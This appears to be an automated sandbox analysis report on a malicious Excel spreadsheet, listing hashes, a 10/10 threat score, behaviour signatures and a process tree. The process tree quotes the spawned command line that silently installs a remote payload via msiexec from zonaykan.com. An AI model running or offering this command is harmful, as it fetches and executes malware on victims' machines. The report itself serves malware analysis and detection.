Analysis

  • max time kernel
    22s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    07-09-2024 21:19

General

  • Target

    b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls

  • Size

    82KB

  • MD5

    4343c63398743e8ac3d76e63f799f1b6

  • SHA1

    7cd562a9c1be7d4f39ae824e1caeed9a6d03b81a

  • SHA256

    b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2

  • SHA512

    5af95beba0db5b5ea49fcaacb24013002afc51144a912fd8e250f522f8e371d278512e5740c7ca2ba3e7a16ef520b577bf01205a3435df378cfcbd9041f1348c

  • SSDEEP

    1536:0Kpb8rGYrMPelwhKmFV5xtezEsgrdgrebDG7XE8rMxLgb4JSt1mGJfFacueBkgVq:0Kpb8rGYrMPelwhKmFV5xtezEsgrdgwR

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Use of msiexec (install) with remote resource 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP
      2⤵
      • Process spawned unexpected child process
      • Use of msiexec (install) with remote resource
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2924
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2768

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2280-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2280-1-0x0000000071E2D000-0x0000000071E38000-memory.dmp

    Filesize

    44KB

  • memory/2280-2-0x0000000071E2D000-0x0000000071E38000-memory.dmp

    Filesize

    44KB